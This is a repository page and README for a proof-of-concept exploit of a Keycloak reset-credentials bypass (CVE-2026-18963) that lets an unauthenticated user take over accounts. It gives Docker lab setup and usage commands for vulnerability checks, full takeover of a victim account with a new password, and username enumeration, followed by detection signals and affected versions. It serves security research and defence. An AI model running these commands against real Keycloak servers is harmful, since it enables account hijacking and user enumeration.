This repository is a proof-of-concept for CVE-2026-18963, an unauthenticated account-takeover in Keycloak versions 26.0.0 through 26.7.1. It contains a Python 3 exploit script demonstrating a reset-credentials flow bypass, a Docker Compose lab environment, and a Keycloak realm configuration file for testing.
Find a file
prototw e34a46aadd
Update README
Removed reference to original README of exploit repository.
2026-08-26 15:13:39 +07:00
account_takeover.png Add files via upload 2026-08-24 23:58:23 -04:00
check_vul.png Add files via upload 2026-08-24 23:58:23 -04:00
cve_2026_18963_poc.py Add files via upload 2026-08-24 23:48:23 -04:00
docker-compose.yml Add files via upload 2026-08-24 23:48:23 -04:00
README.md Update README 2026-08-26 15:13:39 +07:00
realm-poc.json Add files via upload 2026-08-24 23:11:14 -04:00

CVE-2026-18963

Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 26.7.1


Layout

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requirements

  • Docker + Docker Compose
  • Python 3.9+ (standard library only, nothing to install)
  • Linux

Step 1: Start the lab

docker compose up -d

Or run Keycloak directly, without the realm import:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Wait ~3060 seconds for Keycloak to finish booting.

Services

Service URL Version Status
kc-vuln http://localhost:8080 26.7.1 VULNERABLE ⚠️
Mailpit http://localhost:8025 latest Captures email

Default credentials

  • Keycloak admin: admin / admin
  • Victim user: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • Verify config: Realm settings → Login tab → Forgot password is ON.
  • If the poc realm or the victim user is missing, import it manually: Manage realms → Create realm → Upload realm-poc.json.

Step 2: Run the PoC

Safe check (no username required, no side effects)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Expected result on kc-vuln: [!] VULNERABLE — email gate execution served


Non-destructive proof (stops at the Update Password form)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Side effects: a reset email is sent to the victim (view it at http://localhost:8025), and emailVerified is set to true.


Full takeover

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Afterwards, verify by logging in at http://localhost:8080/realms/poc/account with victim / PoCPassw0rd!1.


Username enumeration

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Step 3: Reset the victim to its initial state

The realm is imported only on first boot, so the simplest reset is to recreate the environment from scratch:

docker compose down -v && docker compose up -d

Alternatively, reset the password manually in the admin console (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Teardown

docker compose down -v

Detection signals

Signal Legitimate Exploit
GET /login-actions/action-token?... Yes No
POST .../reset-credentials with body tryAnotherWay=yes No Yes
SEND_RESET_PASSWORDUPDATE_PASSWORD with the same code_id < 2 s Rare Always
emailVerified flips to true with no VERIFY_EMAIL event Always

In Mailpit (http://localhost:8025) the password-reset email arrives in the victim's mailbox, but the link inside it is never clicked when the exploit succeeds.


Affected versions

Release line Affected Fix
≤ 17 (WildFly) No
26.0 26.3 26.0.0 26.x.x None (must move to 26.7.2)
26.4 26.4.0 26.4.14 26.4.15 (vendor backport)
26.5 26.5.0 26.5.7 None
26.6 26.6.0 26.6.5 26.6.6 (vendor backport)
26.7 26.7.0 26.7.1 26.7.2

Versions before 26.0 are not affected: the sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note and the "Try another way" selector screen in the reset flow were introduced in 26.0.0. Older builds simply lack the vulnerable code path — that is not the same as being patched.


References